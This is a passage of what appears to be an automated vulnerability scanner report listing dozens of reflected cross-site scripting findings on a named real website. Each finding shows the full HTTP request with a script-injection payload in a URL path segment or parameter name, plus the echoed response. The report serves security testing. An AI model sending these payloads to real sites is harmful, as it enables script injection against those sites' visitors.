GET /wp-content/themesf6162"><script>alert(1)</script>e459bfdeccf/powermta1/images/phone-number.gif HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16bec"><script>alert(1)</script>49a5a483616 was submitted in the REST URL parameter 3. This input was echoed as 16bec\"><script>alert(1)</script>49a5a483616 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta116bec"><script>alert(1)</script>49a5a483616/images/phone-number.gif HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e6c8"><script>alert(1)</script>64ba8a9e6fa was submitted in the REST URL parameter 4. This input was echoed as 1e6c8\"><script>alert(1)</script>64ba8a9e6fa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images1e6c8"><script>alert(1)</script>64ba8a9e6fa/phone-number.gif HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5e4cb"><script>alert(1)</script>2e92d43359e was submitted in the REST URL parameter 5. This input was echoed as 5e4cb\"><script>alert(1)</script>2e92d43359e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images/phone-number.gif5e4cb"><script>alert(1)</script>2e92d43359e HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]... <input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif5e4cb\"><script>alert(1)</script>2e92d43359e" /> ...[SNIP]...
2.82. http://www.powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8fdc3"><script>alert(1)</script>8d0bfc23fd4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 8fdc3\"><script>alert(1)</script>8d0bfc23fd4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images/phone-number.gif?8fdc3"><script>alert(1)</script>8d0bfc23fd4=1 HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a028"><script>alert(1)</script>3b4c3247182 was submitted in the REST URL parameter 1. This input was echoed as 5a028\"><script>alert(1)</script>3b4c3247182 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content5a028"><script>alert(1)</script>3b4c3247182/themes/powermta1/images/powerMTA-footer-logo.png HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b39d"><script>alert(1)</script>9c12b31a716 was submitted in the REST URL parameter 2. This input was echoed as 9b39d\"><script>alert(1)</script>9c12b31a716 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes9b39d"><script>alert(1)</script>9c12b31a716/powermta1/images/powerMTA-footer-logo.png HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53ded"><script>alert(1)</script>d4e70ecc70f was submitted in the REST URL parameter 3. This input was echoed as 53ded\"><script>alert(1)</script>d4e70ecc70f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta153ded"><script>alert(1)</script>d4e70ecc70f/images/powerMTA-footer-logo.png HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb663"><script>alert(1)</script>cffd464704f was submitted in the REST URL parameter 4. This input was echoed as eb663\"><script>alert(1)</script>cffd464704f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/imageseb663"><script>alert(1)</script>cffd464704f/powerMTA-footer-logo.png HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 27473"><script>alert(1)</script>4663a66e2c0 was submitted in the REST URL parameter 5. This input was echoed as 27473\"><script>alert(1)</script>4663a66e2c0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images/powerMTA-footer-logo.png27473"><script>alert(1)</script>4663a66e2c0 HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]... <input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png27473\"><script>alert(1)</script>4663a66e2c0" /> ...[SNIP]...
2.88. http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9fce9"><script>alert(1)</script>544beb43723 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 9fce9\"><script>alert(1)</script>544beb43723 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images/powerMTA-footer-logo.png?9fce9"><script>alert(1)</script>544beb43723=1 HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1fcd5"><script>alert(1)</script>b939ce7cc9f was submitted in the REST URL parameter 1. This input was echoed as 1fcd5\"><script>alert(1)</script>b939ce7cc9f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content1fcd5"><script>alert(1)</script>b939ce7cc9f/themes/powermta1/images/powerMTA-logo.png HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1c99"><script>alert(1)</script>88b9a6b78db was submitted in the REST URL parameter 2. This input was echoed as a1c99\"><script>alert(1)</script>88b9a6b78db in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themesa1c99"><script>alert(1)</script>88b9a6b78db/powermta1/images/powerMTA-logo.png HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce397"><script>alert(1)</script>60af3aed6e8 was submitted in the REST URL parameter 3. This input was echoed as ce397\"><script>alert(1)</script>60af3aed6e8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1ce397"><script>alert(1)</script>60af3aed6e8/images/powerMTA-logo.png HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ecd5"><script>alert(1)</script>c0cab668d12 was submitted in the REST URL parameter 4. This input was echoed as 9ecd5\"><script>alert(1)</script>c0cab668d12 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images9ecd5"><script>alert(1)</script>c0cab668d12/powerMTA-logo.png HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f50c5"><script>alert(1)</script>3efda6b8e40 was submitted in the REST URL parameter 5. This input was echoed as f50c5\"><script>alert(1)</script>3efda6b8e40 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images/powerMTA-logo.pngf50c5"><script>alert(1)</script>3efda6b8e40 HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]... <input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.pngf50c5\"><script>alert(1)</script>3efda6b8e40" /> ...[SNIP]...
2.94. http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.png [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb97d"><script>alert(1)</script>322ec0afbc3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as fb97d\"><script>alert(1)</script>322ec0afbc3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images/powerMTA-logo.png?fb97d"><script>alert(1)</script>322ec0afbc3=1 HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f0cc"><script>alert(1)</script>0546973a25 was submitted in the REST URL parameter 1. This input was echoed as 3f0cc\"><script>alert(1)</script>0546973a25 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf78d"><script>alert(1)</script>9f8ee5e2ee2 was submitted in the REST URL parameter 2. This input was echoed as bf78d\"><script>alert(1)</script>9f8ee5e2ee2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca8cb"><script>alert(1)</script>8923b307761 was submitted in the REST URL parameter 3. This input was echoed as ca8cb\"><script>alert(1)</script>8923b307761 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 93bf0"><script>alert(1)</script>10282142f89 was submitted in the REST URL parameter 4. This input was echoed as 93bf0\"><script>alert(1)</script>10282142f89 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ffaf"><script>alert(1)</script>930b5cf1384 was submitted in the REST URL parameter 5. This input was echoed as 5ffaf\"><script>alert(1)</script>930b5cf1384 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]... <input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png5ffaf\"><script>alert(1)</script>930b5cf1384" /> ...[SNIP]...
2.100. http://www.powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 756be"><script>alert(1)</script>465c3edf10c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 756be\"><script>alert(1)</script>465c3edf10c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6222"><script>alert(1)</script>e68be224d68 was submitted in the REST URL parameter 1. This input was echoed as e6222\"><script>alert(1)</script>e68be224d68 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-contente6222"><script>alert(1)</script>e68be224d68/themes/powermta1/images/tag-line.jpg HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 535dc"><script>alert(1)</script>7440fafeeb1 was submitted in the REST URL parameter 2. This input was echoed as 535dc\"><script>alert(1)</script>7440fafeeb1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes535dc"><script>alert(1)</script>7440fafeeb1/powermta1/images/tag-line.jpg HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aef24"><script>alert(1)</script>c93d9ec6c5b was submitted in the REST URL parameter 3. This input was echoed as aef24\"><script>alert(1)</script>c93d9ec6c5b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1aef24"><script>alert(1)</script>c93d9ec6c5b/images/tag-line.jpg HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ca44"><script>alert(1)</script>012515b499b was submitted in the REST URL parameter 4. This input was echoed as 3ca44\"><script>alert(1)</script>012515b499b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images3ca44"><script>alert(1)</script>012515b499b/tag-line.jpg HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2d697"><script>alert(1)</script>30b67acaf6c was submitted in the REST URL parameter 5. This input was echoed as 2d697\"><script>alert(1)</script>30b67acaf6c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images/tag-line.jpg2d697"><script>alert(1)</script>30b67acaf6c HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]... <input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg2d697\"><script>alert(1)</script>30b67acaf6c" /> ...[SNIP]...
2.106. http://www.powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.powermta.port25.com
Path:
/wp-content/themes/powermta1/images/tag-line.jpg
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d828"><script>alert(1)</script>da0fd449c73 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 4d828\"><script>alert(1)</script>da0fd449c73 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images/tag-line.jpg?4d828"><script>alert(1)</script>da0fd449c73=1 HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8fc7c"><script>alert(1)</script>87f91fffb0b was submitted in the REST URL parameter 1. This input was echoed as 8fc7c\"><script>alert(1)</script>87f91fffb0b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content8fc7c"><script>alert(1)</script>87f91fffb0b/themes/powermta1/images/twit-logo.gif HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f15fe"><script>alert(1)</script>5875b7ebf80 was submitted in the REST URL parameter 2. This input was echoed as f15fe\"><script>alert(1)</script>5875b7ebf80 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
